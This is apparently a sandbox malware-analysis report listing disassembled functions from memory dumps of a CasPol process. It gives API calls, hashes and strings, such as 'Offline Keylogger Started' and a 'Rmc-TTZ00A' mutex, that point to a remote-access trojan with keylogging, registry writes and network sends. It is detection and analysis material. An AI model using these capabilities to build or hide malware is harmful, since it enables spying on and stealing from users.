                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CloseCreateHandleSizeSleep
                                                                                                                                                                                                  • String ID: XQG
                                                                                                                                                                                                  • API String ID: 1958988193-3606453820
                                                                                                                                                                                                  • Opcode ID: 3855d95cd7322452e6531401611e332563825ee2f28412b9057315d8b356c682
                                                                                                                                                                                                  • Instruction ID: fa029248b1ac628aedb802b18ed81a98d1a4018e107c0b234daa3009ae89debe
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3855d95cd7322452e6531401611e332563825ee2f28412b9057315d8b356c682
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 96110130600740AADA31A734988961F7BA9DB45356F44483EF1866B6D3C67DDC64C71F
                                                                                                                                                                                                  Function 1000C7A7 Relevance: 7.6, APIs: 5, Instructions: 100libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                                                                                                                                    • Part of subcall function 1000C7E6: GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                                                                                                                                                                                                    • Part of subcall function 1000C7E6: GetProcAddress.KERNEL32(00000000,1000C7F4,1000C7DD), ref: 1000C804
                                                                                                                                                                                                    • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                                                                                                                                    • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressHandleModuleProcProtectVirtual
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2099061454-0
                                                                                                                                                                                                  • Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                                                                                                                                  • Instruction ID: abaa11d5974e3e1b05dfd32ec0224f7ddc3d76465740e120717e363e7a178845
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A921382140838A6FF711CBB44C05FA67FD8DB172E0F198696E040CB147DDA89845C3AE
                                                                                                                                                                                                  Function 1000C803 Relevance: 7.6, APIs: 5, Instructions: 54librarymemoryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,1000C7F4,1000C7DD), ref: 1000C804
                                                                                                                                                                                                  • VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                                                                                                                                  • VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProcProtectVirtual$HandleModule
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2152742572-0
                                                                                                                                                                                                  • Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                                                                                                                                  • Instruction ID: 9138b94afbcae90e12a8614b592989542e7cb6e8cba5f1d72008c399686a5f74
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B7F0C2619497893CFA21C7B40C45EBA5FCCCB276E0B249A56F600C718BDCA5890693FE
                                                                                                                                                                                                  Function 00448319 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00000000,00000000,0043BCD6,00000000,00000000,?,0043BD5A,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044831E
                                                                                                                                                                                                  • _free.LIBCMT ref: 00448353
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044837A
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448387
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448390
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3170660625-0
                                                                                                                                                                                                  • Opcode ID: 9e58827e066efea2178fd81b79d5a13276d1a5d22b614d366fbfb6265f5784d7
                                                                                                                                                                                                  • Instruction ID: 5af5a014564f127a9d6b3613d5887cb4baea3ca98ff5bc54bcf39f1731b7af1a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9e58827e066efea2178fd81b79d5a13276d1a5d22b614d366fbfb6265f5784d7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3401F936100B006BB7117A2A5C45E6F3259DBD2B75B35093FFD1892292EF7ECC02812D
                                                                                                                                                                                                  Function 00415B25 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CountEventTick
                                                                                                                                                                                                  • String ID: !D@$NG
                                                                                                                                                                                                  • API String ID: 180926312-2721294649
                                                                                                                                                                                                  • Opcode ID: 398d44d54a7178609eac35fe8340f7877c76a3579e05169b13b3291e52fe06e2
                                                                                                                                                                                                  • Instruction ID: 3ac9408315e1e6036cedb879f74fb80cbd33a95067926c5a5f9e9f7d680cff10
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 398d44d54a7178609eac35fe8340f7877c76a3579e05169b13b3291e52fe06e2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3E51A5315082019AC724FB32D852AFF73A5AF94304F50483FF54A671E2EF3C5945C68A
                                                                                                                                                                                                  Function 0040A1B4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,0040A2B8,?,00000000,00000000), ref: 0040A239
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,Function_0000A2A2,?,00000000,00000000), ref: 0040A249
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,Function_0000A2C4,?,00000000,00000000), ref: 0040A255
                                                                                                                                                                                                    • Part of subcall function 0040B19F: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B1AD
                                                                                                                                                                                                    • Part of subcall function 0040B19F: wsprintfW.USER32 ref: 0040B22E
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateThread$LocalTimewsprintf
                                                                                                                                                                                                  • String ID: Offline Keylogger Started
                                                                                                                                                                                                  • API String ID: 465354869-4114347211
                                                                                                                                                                                                  • Opcode ID: e9faa5e414620fc96257d4712bcffae5cc82c2583e5401c4a4641fe0a8bebe8a
                                                                                                                                                                                                  • Instruction ID: fa9a7328340dc7f48b0d085764b542104813bfc3ea66268f7111ac5d0199d402
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e9faa5e414620fc96257d4712bcffae5cc82c2583e5401c4a4641fe0a8bebe8a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1111ABB12003187ED210BB368C87CBB765DDA4139CB40057FF946221C2EA795D14CAFB
                                                                                                                                                                                                  Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLocalTime.KERNEL32(00000001,00474EE0,00475598,?,?,?,?,00415D11,?,00000001), ref: 00404F81
                                                                                                                                                                                                  • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EE0,00475598,?,?,?,?,00415D11,?,00000001), ref: 00404FCD
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,Function_00005150,?,00000000,00000000), ref: 00404FE0
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Create$EventLocalThreadTime
                                                                                                                                                                                                  • String ID: KeepAlive | Enabled | Timeout:
                                                                                                                                                                                                  • API String ID: 2532271599-1507639952
                                                                                                                                                                                                  • Opcode ID: 7014718608cfeb48bfe47f339cac9c5a9a17279d6e1db9155cd03e2f3c9ced1b
                                                                                                                                                                                                  • Instruction ID: 41fa32a9fb91b1633a7afb8999ae97baef60c60c8d6252053b050d354fdafbcf
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7014718608cfeb48bfe47f339cac9c5a9a17279d6e1db9155cd03e2f3c9ced1b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 82110A71800385BAC720A7779C0DEAB7FACDBD2714F04046FF54162291D6B89445CBBA
                                                                                                                                                                                                  Function 004137AA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 004137B9
                                                                                                                                                                                                  • RegSetValueExA.KERNEL32(?,004674C8,00000000,?,00000000,00000000), ref: 004137E1
                                                                                                                                                                                                  • RegCloseKey.KERNEL32(?), ref: 004137EC
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseCreateValue
                                                                                                                                                                                                  • String ID: pth_unenc
                                                                                                                                                                                                  • API String ID: 1818849710-4028850238
                                                                                                                                                                                                  • Opcode ID: 3ae23bf51bdae044d43d0241d7839713fa8c787b67a3ee745682b35b7168c146
                                                                                                                                                                                                  • Instruction ID: b09b06e14e5a963f4ed757ac8f346f2723baee7be417271cc0de3610a50c6458
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3ae23bf51bdae044d43d0241d7839713fa8c787b67a3ee745682b35b7168c146
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A4F06272500218FBDF00AFA1DC45DEA376CEF04751F108566FD1AA61A1DB359E14DB54
                                                                                                                                                                                                  Function 00404CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 00404DD2
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00404DDB
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3360349984-0
                                                                                                                                                                                                  • Opcode ID: e2c7dcd9189a3044f1cf6e3ebfe82ec704a9a5fd688f20b61e04b54ec391fab7
                                                                                                                                                                                                  • Instruction ID: 30d48123e17294c38ae6f490953f1b42a5ca81467cb0df1087f173bd09261e59
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e2c7dcd9189a3044f1cf6e3ebfe82ec704a9a5fd688f20b61e04b54ec391fab7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 684182B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                                                                                                                                                                                                  Function 004485E6 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,0044858D,00000000,00000000,00000000,00000000,?,004488B9,00000006,FlsSetValue), ref: 00448618
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,0044858D,00000000,00000000,00000000,00000000,?,004488B9,00000006,FlsSetValue,0045F170,0045F178,00000000,00000364,?,00448367), ref: 00448624
                                                                                                                                                                                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044858D,00000000,00000000,00000000,00000000,?,004488B9,00000006,FlsSetValue,0045F170,0045F178,00000000), ref: 00448632
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LibraryLoad$ErrorLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3177248105-0
                                                                                                                                                                                                  • Opcode ID: 8f9b5e85c90ff7ccd8dc2bf5dda10acfb836c822a6cf5ef36d60eb5c9189937f
                                                                                                                                                                                                  • Instruction ID: 239c22332ac31c5199b3ba4764290be2907fca328f5d1df1ca03bb1201a614b6
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8f9b5e85c90ff7ccd8dc2bf5dda10acfb836c822a6cf5ef36d60eb5c9189937f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D401FC32602322EBDB618A78EC4495F7758AF15BA2B22093AF909D3241DF24DC01C6EC
                                                                                                                                                                                                  Function 10005CE1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,10001D66,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue), ref: 10005D13
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000,00000364,?,10005BC8), ref: 10005D1F
                                                                                                                                                                                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000), ref: 10005D2D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LibraryLoad$ErrorLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3177248105-0
                                                                                                                                                                                                  • Opcode ID: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                                                                                                                                                                                                  • Instruction ID: ab8c2af688280ff547417c348c7c3430721907d0b6a0cc88e9d35c15e8af339b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 59018436615732ABE7319B689C8CB4B7798EF056E2B214623F909D7158D731D801CAE0
                                                                                                                                                                                                  Function 0041C516 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C52F
                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000), ref: 0041C543
                                                                                                                                                                                                  • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C568
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041C576
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CloseCreateHandleReadSize
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3919263394-0
                                                                                                                                                                                                  • Opcode ID: eaf6ed3f63b4403b43378431095bcec12dbe7b76bb0b9555606dcebd0a0bb3a0
                                                                                                                                                                                                  • Instruction ID: 4673af35f3eeaf13de89ae80f5e83caf65f56e40ae5cb47f4621101913e6d1ef
                                                                                                                                                                                                  • Opcode Fuzzy Hash: eaf6ed3f63b4403b43378431095bcec12dbe7b76bb0b9555606dcebd0a0bb3a0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 50F0C2B1241318BFE6101B25ADC9EBB369DDB866A9F10063EF802A22D1DA698D055139
                                                                                                                                                                                                  Function 0040D0A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040EC43,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660CC,00000003,00000000), ref: 0040D0B3
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040D0BE
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateErrorLastMutex
                                                                                                                                                                                                  • String ID: Rmc-TTZ00A
                                                                                                                                                                                                  • API String ID: 1925916568-126077373
                                                                                                                                                                                                  • Opcode ID: 28fa13b7b1caae5192b70daf2f30c6e0a610ddba166525727d25863cd50ab091
                                                                                                                                                                                                  • Instruction ID: 57749e379dff282fb0cfe370275dd79dddcb706c5168e3a31171962593876721
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 28fa13b7b1caae5192b70daf2f30c6e0a610ddba166525727d25863cd50ab091
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0DD012B0605700EBDB186770ED5975839559744702F40487AB50FD99F1CBBC88908519
                                                                                                                                                                                                  Function 00404AA1 Relevance: 4.6, APIs: 3, Instructions: 93synchronizationnetworkCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                                                                                                                                                                                  • SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: EventObjectSingleWaitsend
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3963590051-0
                                                                                                                                                                                                  • Opcode ID: b1d66744df5c6cb587348be29f4f2b73cfa97db57556f8ad38e66ecf600c3840
                                                                                                                                                                                                  • Instruction ID: ade4869c8039bafc3f5202e75afdfb18787be874a76dce876c460fae4797ad88
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b1d66744df5c6cb587348be29f4f2b73cfa97db57556f8ad38e66ecf600c3840
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 152124B2900119BBCB04ABA1DC95DEEB77CFF14314B00452FF515B71E2EB38AA15C6A4
                                                                                                                                                                                                  Function 004135E1 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00413605
                                                                                                                                                                                                  • RegQueryValueExA.KERNEL32 ref: 00413622
                                                                                                                                                                                                  • RegCloseKey.KERNEL32(?), ref: 0041362D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3677997916-0
                                                                                                                                                                                                  • Opcode ID: 6d7bb055a41a46af3afbf88891c67b332a8db22587d044117d184b09d82707ea
                                                                                                                                                                                                  • Instruction ID: 0661f39b514c0023b6096d8878825bbc81d19e8e8981dfb5b132c5fecbfe39b6
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6d7bb055a41a46af3afbf88891c67b332a8db22587d044117d184b09d82707ea
